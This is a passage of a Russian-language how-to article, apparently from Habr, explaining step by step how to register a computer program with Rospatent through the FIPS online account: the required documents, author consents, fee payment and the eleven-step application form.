Роспатенте.&lt;p&gt; &lt;p&gt;&lt;strong&gt;Пошаговая инструкция&lt;/strong&gt;&lt;p&gt;Проще всего и быстрее зарегистрировать программу через личный кабинет ФИПС (&lt;a href=https://new.fips.ru/office rel=&#34;noopener noreferrer nofollow&#34;&gt;https://new.fips.ru/office&lt;/a&gt;), но для этого необходима ЭЦП.&lt;p&gt;Для регистрации ПО через личный кабинет ФИПС, помимо ЭЦП, понадобится подготовить и получить следующие файлы:&lt;ul&gt;&lt;li&gt;&lt;p&gt;файл с кодом в формате pdf.&lt;li&gt;&lt;p&gt;депонируемые идентифицирующие материалы&lt;li&gt;&lt;p&gt;согласие автора на обработку персональных данных&lt;li&gt;&lt;p&gt;согласие автора на указание сведений об авторе&lt;li&gt;&lt;p&gt;документ, подтверждающий оплату пошлины&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Депонируемые идентифицирующие материалы&lt;/strong&gt; оформляются следующим образом.&lt;p&gt;На титульном листе указывается название ПО, данные о правообладателе и авторе (если указывается), он конвертируется в pdf. и объединяется с кодом программы в один файл (Рис.1).&lt;p&gt;Язык программирования может быть любой - код не проверяют на оригинальность и даже работоспособность.&lt;br&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/ea2/2bc/76b/ea22bc76bed124466e6bc158f872e709.png alt=&#34;Рис.1. Пример титульного листа&#34; title=&#34;Рис.1. Пример титульного листа&#34; width=574 height=718 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/ea2/2bc/76b/ea22bc76bed124466e6bc158f872e709.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/ea2/2bc/76b/ea22bc76bed124466e6bc158f872e709.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.1&lt;/strong&gt;. Пример титульного листа&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;2. Согласия авторов &lt;/strong&gt;заполняются в случае их упоминания. Необходимо на каждого автора оформлять по два разных согласия.&lt;p&gt;Формы согласий утверждены Роспатентом, их можно скачать на шаге 7.&lt;p&gt;В &lt;strong&gt;согласии на обработку персональных данных&lt;/strong&gt; необходимо поставить дату и подписать его (Рис.2).&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/400/1ed/b02/4001edb02eb30ba38c153e0dfe2f825b.png alt=&#34;Рис.2. Заполненное согласие на обработку персональных данных&#34; title=&#34;Рис.2. Заполненное согласие на обработку персональных данных&#34; width=671 height=696 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/400/1ed/b02/4001edb02eb30ba38c153e0dfe2f825b.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/400/1ed/b02/4001edb02eb30ba38c153e0dfe2f825b.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.2&lt;/strong&gt;. Заполненное согласие на обработку персональных данных&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;В согласии автора на указание сведений об авторе заполняется информация об авторе, его творческом вкладе и правообладателе.&lt;p&gt;Согласие должны быть подписано автором, а также содержать подпись правообладателя или его представителя и печать компании (при наличии) (Рис.3).&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/878/92f/c81/87892fc814ddd03bb70562c72007ce94.png alt=&#34;Рис.3. Заполненное согласие автора на указание сведений об авторе&#34; title=&#34;Рис.3. Заполненное согласие автора на указание сведений об авторе&#34; width=639 height=879 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/878/92f/c81/87892fc814ddd03bb70562c72007ce94.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/878/92f/c81/87892fc814ddd03bb70562c72007ce94.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.3&lt;/strong&gt;. Заполненное согласие автора на указание сведений об авторе&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Для регистрации также необходимо оплатить пошлину. В настоящий момент она единого размера как для физических лиц, так и для юридических – 5 000 рублей.&lt;p&gt;Пошлина оплачивается по следующим реквизитам Роспатента (Рис.4):&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/cd5/b9a/326/cd5b9a32680236e35bf6d991c5799827.png alt=&#34;Рис.4. Реквизиты для оплаты пошлины&#34; title=&#34;Рис.4. Реквизиты для оплаты пошлины&#34; width=671 height=492 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/cd5/b9a/326/cd5b9a32680236e35bf6d991c5799827.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/cd5/b9a/326/cd5b9a32680236e35bf6d991c5799827.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.4&lt;/strong&gt;. Реквизиты для оплаты пошлины&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;В назначении платежа необходимо написать «Пошлина согласно п. 1 ст. 333.30 НК РФ, за регистрацию программы для ЭВМ, Заявитель: &lt;em&gt;ООО «_______» / ФИО&lt;/em&gt;, Сумма 5000-00 Без налога (НДС).»&lt;br&gt;&lt;p&gt;&lt;strong&gt;По документам все понятно, теперь давайте приступим к самому пользовательскому пути:&lt;/strong&gt;&lt;p&gt;После регистрации или авторизации в личном кабинете необходимо выбрать «&lt;em&gt;Подать заявку&lt;/em&gt;» и «&lt;em&gt;Заявление о государственной регистрации программы для ЭВМ или базы данных&lt;/em&gt;» (Рис.5).&lt;p&gt; &lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/1fa/02e/83c/1fa02e83c048d251b23c74195619afc3.png alt=&#34;Рис.5. Личный кабинет&#34; title=&#34;Рис.5. Личный кабинет&#34; width=709 height=313 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/1fa/02e/83c/1fa02e83c048d251b23c74195619afc3.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/1fa/02e/83c/1fa02e83c048d251b23c74195619afc3.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.5&lt;/strong&gt;. Личный кабинет&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;После этого откроется форма заявки, состоящая из &lt;strong&gt;11 шагов&lt;/strong&gt;.&lt;p&gt;&lt;strong&gt;Шаг 1.&lt;/strong&gt; Нужно заполнить данные о лице, которое подает заявку.&lt;p&gt;Это может быть сам правообладатель, его представитель или патентный поверенный.&lt;p&gt;Заполняются фамилия, имя, отчество, должность и наименование юридического лица.&lt;p&gt;После заполнения нужно нажать «&lt;em&gt;Далее&lt;/em&gt;» (Рис.6).&lt;p&gt;&lt;strong&gt;Важно&lt;/strong&gt;: лучше периодически нажимать кнопку «&lt;em&gt;Сохранить черновик&lt;/em&gt;», чтобы в случае технического сбоя не пришлось заполнять заявление заново.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/32e/16c/eb3/32e16ceb3a23d478a020ea428776ccc2.png alt=&#34;Рис.6. Форма на шаге 1&#34; title=&#34;Рис.6. Форма на шаге 1&#34; width=671 height=548 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/32e/16c/eb3/32e16ceb3a23d478a020ea428776ccc2.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/32e/16c/eb3/32e16ceb3a23d478a020ea428776ccc2.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.6&lt;/strong&gt;. Форма на шаге 1&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Шаг 2&lt;/strong&gt;. На этом этапе нужно заполнить 4 блока (Рис.7):&lt;ul&gt;&lt;li&gt;&lt;p&gt;Персональные данные третьих лиц (содержатся или нет)&lt;li&gt;&lt;p&gt;Тип объекта (программа или база данных)&lt;li&gt;&lt;p&gt;Количество правообладателей&lt;li&gt;&lt;p&gt;Основание возникновения права на объект&lt;/ul&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/f04/bb0/3dd/f04bb03ddd52fc3636a31f0f5b5cf8c8.png alt=&#34;Рис.7. Форма на шаге 2&#34; title=&#34;Рис.7. Форма на шаге 2&#34; width=577 height=646 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/f04/bb0/3dd/f04bb03ddd52fc3636a31f0f5b5cf8c8.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/f04/bb0/3dd/f04bb03ddd52fc3636a31f0f5b5cf8c8.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.7&lt;/strong&gt;. Форма на шаге 2&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;В блоке «Основание возникновения права» можно выбрать один из предложенных вариантов или написать свой (Рис.8):&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/1a2/d1d/38b/1a2d1d38b6dcea3dd5b2bba8b81ac6e0.png alt=&#34;Рис.8. Примеры оснований возникновения права&#34; title=&#34;Рис.8. Примеры оснований возникновения права&#34; width=417 height=175 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/1a2/d1d/38b/1a2d1d38b6dcea3dd5b2bba8b81ac6e0.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/1a2/d1d/38b/1a2d1d38b6dcea3dd5b2bba8b81ac6e0.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.8&lt;/strong&gt;. Примеры оснований возникновения права&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Шаг 3&lt;/strong&gt;. Здесь все зависит от порядка создания объекта.&lt;p&gt;Если контракта не было, то выбираем «Не создан», в противном случае нужно выбрать конкретный контракт (Рис.9).&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/7c4/c00/325/7c4c003251196858e5e3d8ce60de6255.png alt=&#34;Рис.9. Форма на шаге 3 при отсутствии контракта&#34; title=&#34;Рис.9. Форма на шаге 3 при отсутствии контракта&#34; width=525 height=140 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/7c4/c00/325/7c4c003251196858e5e3d8ce60de6255.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/7c4/c00/325/7c4c003251196858e5e3d8ce60de6255.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.9&lt;/strong&gt;. Форма на шаге 3 при отсутствии контракта&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Если был контракт, то нужно заполнить информацию о нем, в том числе сведения о (Рис.10):&lt;ul&gt;&lt;li&gt;&lt;p&gt;контракте (дата и номер)&lt;li&gt;&lt;p&gt;заказчике и исполнителе&lt;li&gt;&lt;p&gt;кому принадлежит исключительное право&lt;/ul&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/b4d/ed3/6f7/b4ded36f7d83f2f751efec18319442b4.png alt=&#34;Рис.10. Форма на шаге 3 при наличии контракта&#34; title=&#34;Рис.10. Форма на шаге 3 при наличии контракта&#34; width=466 height=683 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/b4d/ed3/6f7/b4ded36f7d83f2f751efec18319442b4.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/b4d/ed3/6f7/b4ded36f7d83f2f751efec18319442b4.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.10&lt;/strong&gt;. Форма на шаге 3 при наличии контракта&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Шаг 4&lt;/strong&gt;. На этом шаге нужно заполнить сведения о правообладателе ПО в зависимости от статуса.&lt;p&gt;Для юридических лиц нужно указать (Рис.11):&lt;ul&gt;&lt;li&gt;&lt;p&gt;организационно-правовую форму&lt;li&gt;&lt;p&gt;наименование&lt;li&gt;&lt;p&gt;ОГРН, ИНН&lt;li&gt;&lt;p&gt;код страны места нахождения и адрес&lt;/ul&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/bb7/710/c1e/bb7710c1ea67855650bfbeb8424b97bc.png alt=&#34;Рис.11. Форма на шаге 4, если правообладатель юридическое лицо&#34; title=&#34;Рис.11. Форма на шаге 4, если правообладатель юридическое лицо&#34; width=458 height=462 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/bb7/710/c1e/bb7710c1ea67855650bfbeb8424b97bc.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/bb7/710/c1e/bb7710c1ea67855650bfbeb8424b97bc.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.11&lt;/strong&gt;. Форма на шаге 4, если правообладатель юридическое лицо&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Для физических лиц нужно указать (Рис.12):&lt;ul&gt;&lt;li&gt;&lt;p&gt;фамилию, имя, отчество&lt;li&gt;&lt;p&gt;код страны места жительства и адрес&lt;li&gt;&lt;p&gt;СНИЛС, ИНН&lt;li&gt;&lt;p&gt;документ, удостоверяющий личность, и его реквизиты&lt;/ul&gt;&lt;p&gt; &lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/383/4cb/2bb/3834cb2bbe2c4c460b0c4bbdc382ca02.png alt=&#34;Рис.12. Форма на шаге 4, если правообладатель физическое лицо&#34; title=&#34;Рис.12. Форма на шаге 4, если правообладатель физическое лицо&#34; width=513 height=566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/383/4cb/2bb/3834cb2bbe2c4c460b0c4bbdc382ca02.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/383/4cb/2bb/3834cb2bbe2c4c460b0c4bbdc382ca02.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.12&lt;/strong&gt;. Форма на шаге 4, если правообладатель физическое лицо&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Шаг 5&lt;/strong&gt;. Здесь указываются сведения о программе (Рис.13):&lt;ul&gt;&lt;li&gt;&lt;p&gt;название (можно любое, желательно без чужих товарных знаков и матов)&lt;li&gt;&lt;p&gt;год создания, год и страна обнародования (если была обнародована)&lt;li&gt;&lt;p&gt;реферат (краткое описание функционала, без жестких требований)&lt;li&gt;&lt;p&gt;использованные языки программирования&lt;li&gt;&lt;p&gt;особенности типа реализующей ЭВМ или другого компьютерного устройства&lt;li&gt;&lt;p&gt;тип и версия ОС для запуска&lt;li&gt;&lt;p&gt;объем в мб&lt;li&gt;&lt;p&gt;количество авторов всего и количества авторов, отказавшихся быть упомянутыми&lt;/ul&gt;&lt;p&gt; &lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/df0/8fb/36e/df08fb36ec6cb7f4b71592900093fcd9.png alt=&#34;Рис.13. Форма на шаге 5&#34; title=&#34;Рис.13. Форма на шаге 5&#34; width=360 height=794 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/df0/8fb/36e/df08fb36ec6cb7f4b71592900093fcd9.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/df0/8fb/36e/df08fb36ec6cb7f4b71592900093fcd9.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.13&lt;/strong&gt;. Форма на шаге 5&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Шаг 6&lt;/strong&gt;. На этом шаге указываются данные об авторах, если они будут упоминаться (Рис. 14):&lt;ul&gt;&lt;li&gt;&lt;p&gt;фамилия, имя, отчество&lt;li&gt;&lt;p&gt;дата рождения&lt;li&gt;&lt;p&gt;гражданство&lt;li&gt;&lt;p&gt;описание творческого вклада (лучше писать &amp;#34;разработка кода&amp;#34;, т.к. в отношении &amp;#34;идейных вдохновителей&amp;#34; позиция Роспатента может быть неоднозначно - могут не признаваться авторами такие лица с юридической точки зрения)&lt;li&gt;&lt;p&gt;упоминать или не упоминать под своим именем&lt;li&gt;&lt;p&gt;псевдоним (при наличии)&lt;li&gt;&lt;p&gt;код страны места жительства и адрес&lt;/ul&gt;&lt;p&gt; &lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/ad9/5cf/4c3/ad95cf4c373a863e4d968b358e8df207.png alt=&#34;Рис. 14. Форма на шаге 6, если автор упоминается&#34; title=&#34;Рис. 14. Форма на шаге 6, если автор упоминается&#34; width=586 height=786 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/ad9/5cf/4c3/ad95cf4c373a863e4d968b358e8df207.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/ad9/5cf/4c3/ad95cf4c373a863e4d968b358e8df207.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис. 14&lt;/strong&gt;. Форма на шаге 6, если автор упоминается&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt; &lt;p&gt;&lt;strong&gt;Шаг 7&lt;/strong&gt;. На данном этапе необходимо подгрузить документы (Рис.15):&lt;ul&gt;&lt;li&gt;&lt;p&gt;доверенность (если подает представитель)&lt;li&gt;&lt;p&gt;подтверждение оплаты пошлины&lt;li&gt;&lt;p&gt;идентифицирующие материалы (титульный лист + сам код)&lt;li&gt;&lt;p&gt;материалы аудиовизуальных отображений (например, скриншоты интерфейса)&lt;li&gt;&lt;p&gt;согласие автора на обработку персональных данных (если автор упомянут)&lt;li&gt;&lt;p&gt;согласие автора на указание сведений об авторе (если автор упомянут)&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/bf6/8fe/ff7/bf68feff791c23b0e2d25bd46f97876f.png alt=&#34;Рис.15. Форма на шаге 7&#34; title=&#34;Рис.15. Форма на шаге 7&#34; width=380 height=834 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/bf6/8fe/ff7/bf68feff791c23b0e2d25bd46f97876f.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/bf6/8fe/ff7/bf68feff791c23b0e2d25bd46f97876f.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.15&lt;/strong&gt;. Форма на шаге 7&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Шаг 8&lt;/strong&gt;. На этом шаге указываются контактные данные, по которым в случае необходимости эксперт может связаться с заявителем (Рис.16):&lt;ul&gt;&lt;li&gt;&lt;p&gt;фамилия, имя, отчество&lt;li&gt;&lt;p&gt;адрес для переписки&lt;li&gt;&lt;p&gt;телефон и e-mail&lt;li&gt;&lt;p&gt;дополнительные контакты&lt;/ul&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/b8b/bea/aee/b8bbeaaee7711649205ab8e459535235.png alt=&#34;Рис.16. Форма на шаге 8&#34; title=&#34;Рис.16. Форма на шаге 8&#34; width=573 height=702 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/b8b/bea/aee/b8bbeaaee7711649205ab8e459535235.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/b8b/bea/aee/b8bbeaaee7711649205ab8e459535235.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.16&lt;/strong&gt;. Форма на шаге 8&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Шаг 9&lt;/strong&gt;. На этом этапе нужно ввести реквизиты, подтверждающие оплату пошлины за регистрацию (Рис.17).&lt;p&gt;После ввода всех реквизитов нужно нажать «&lt;em&gt;Найти платеж&lt;/em&gt;».&lt;p&gt;Можно отправлять заявление как с найденным платежом, так и без него.&lt;p&gt;Если платеж будет найден, то программа зарегистрируется автоматически и быстро – за пару часов.&lt;p&gt;Если же платеж не будет найден, то заявка уйдет к экспертам, которые будут рассматривать ее вручную, поэтому срок регистрации может быть примерно месяц.&lt;p&gt;Чтобы убедиться, что оплаченная пошлина дошла до Роспатента, можно проверить ее по реквизитам платежного документа на сайте &lt;a href=https://rospatent.gov.ru/ru/forms/adbws rel=&#34;noopener noreferrer nofollow&#34;&gt;https://rospatent.gov.ru/ru/forms/adbws&lt;/a&gt;.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/23f/e3d/cab/23fe3dcab4b7ee4da8591c6a8cf798d9.png alt=&#34;Рис.17. Форма на шаге 9&#34; title=&#34;Рис.17. Форма на шаге 9&#34; width=518 height=772 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/23f/e3d/cab/23fe3dcab4b7ee4da8591c6a8cf798d9.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/23f/e3d/cab/23fe3dcab4b7ee4da8591c6a8cf798d9.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.17&lt;/strong&gt;. Форма на шаге 9&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Шаг 10&lt;/strong&gt;. На данном этапе показывается сформированное заявление, которое нужно проверить на корректность заполненных сведений (Рис.18,19).&lt;p&gt;Если все верно, то нужно нажать «&lt;em&gt;Далее&lt;/em&gt;» и перейти к последнему этапу.&lt;p&gt;Если нашли ошибку, то нужно вернутся на соответствующий шаг и исправить введенные данные.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a95/be3/4b7/a95be34b7a7dfc751d6187d7ad4e1fab.png alt=&#34;Рис.18. Первая часть заявления на шаге 10&#34; title=&#34;Рис.18. Первая часть заявления на шаге 10&#34; width=671 height=739 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a95/be3/4b7/a95be34b7a7dfc751d6187d7ad4e1fab.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a95/be3/4b7/a95be34b7a7dfc751d6187d7ad4e1fab.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.18&lt;/strong&gt;. Первая часть заявления на шаге 10&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt; &lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/2e6/86a/697/2e686a6971d9893390ca250f7017ae7e.png alt=&#34;Рис.19. Вторая часть заявления на шаге 10&#34; title=&#34;Рис.19. Вторая часть заявления на шаге 10&#34; width=628 height=958 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/2e6/86a/697/2e686a6971d9893390ca250f7017ae7e.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/2e6/86a/697/2e686a6971d9893390ca250f7017ae7e.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.19&lt;/strong&gt;. Вторая часть заявления на шаге 10&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Шаг 11&lt;/strong&gt;. Это заключительный этап, на котором происходит подписание заявления (Рис.20).&lt;p&gt;При наличии ЭЦП в окне «&lt;em&gt;Выберите сертификат подписи&lt;/em&gt;» появятся предложенные сертификаты, среди которых нужно выбрать необходимый.&lt;p&gt;Затем нужно проставить галочки в чекбоксах и нажать «&lt;em&gt;Подписать и отправить заявку&lt;/em&gt;».&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/465/6de/920/4656de9205a032b1e5dbc8f6b430ca5f.png alt=&#34;Рис.20. Форма на шаге 11&#34; title=&#34;Рис.20. Форма на шаге 11&#34; width=511 height=528 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/465/6de/920/4656de9205a032b1e5dbc8f6b430ca5f.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/465/6de/920/4656de9205a032b1e5dbc8f6b430ca5f.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.20&lt;/strong&gt;. Форма на шаге 11&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;После подписания заявки нужно вернутся в раздел «&lt;em&gt;Заявки&lt;/em&gt;» в личном кабинете, где будет отображаться поданная заявка со статусом «&lt;em&gt;Направлено&lt;/em&gt;» (Рис.21):&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/43f/e56/edf/43fe56edf6e47dc06c9426f4bc971ef7.png alt=&#34;Рис.21. Пример заявки со статусом «Направлено»&#34; title=&#34;Рис.21. Пример заявки со статусом «Направлено»&#34; width=671 height=37 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/43f/e56/edf/43fe56edf6e47dc06c9426f4bc971ef7.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/43f/e56/edf/43fe56edf6e47dc06c9426f4bc971ef7.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.21&lt;/strong&gt;. Пример заявки со статусом «Направлено»&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Надпись «&lt;em&gt;Заявка на программу ЭВМ&lt;/em&gt;» кликабельна, на нее можно нажать и посмотреть статус заявки.&lt;p&gt;После регистрации заявка будет отображаться со статусом «&lt;em&gt;Принято&lt;/em&gt;», и у нее появится номер (Рис.22):&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/68f/cc4/fb7/68fcc4fb71b2de298a6ef16be39a8e57.png alt=&#34;Рис.22. Пример заявки со статусом «Принято»&#34; title=&#34;Рис.22. Пример заявки со статусом «Принято»&#34; width=671 height=54 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/68f/cc4/fb7/68fcc4fb71b2de298a6ef16be39a8e57.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/68f/cc4/fb7/68fcc4fb71b2de298a6ef16be39a8e57.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.22&lt;/strong&gt;. Пример заявки со статусом «Принято»&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Если статус стал «Принято», то при нажатии на заявку откроется окно, в котором можно будет скачать уведомление Роспатента о регистрации, нажав на прикрепленный файл (Рис.23):&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/b4d/f31/654/b4df31654fbe19ee18678ee94acfd6f0.png alt=&#34;Рис.23. Страница с зарегистрированной заявкой&#34; title=&#34;Рис.23. Страница с зарегистрированной заявкой&#34; width=671 height=557 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/b4d/f31/654/b4df31654fbe19ee18678ee94acfd6f0.png 780w,&#xA;       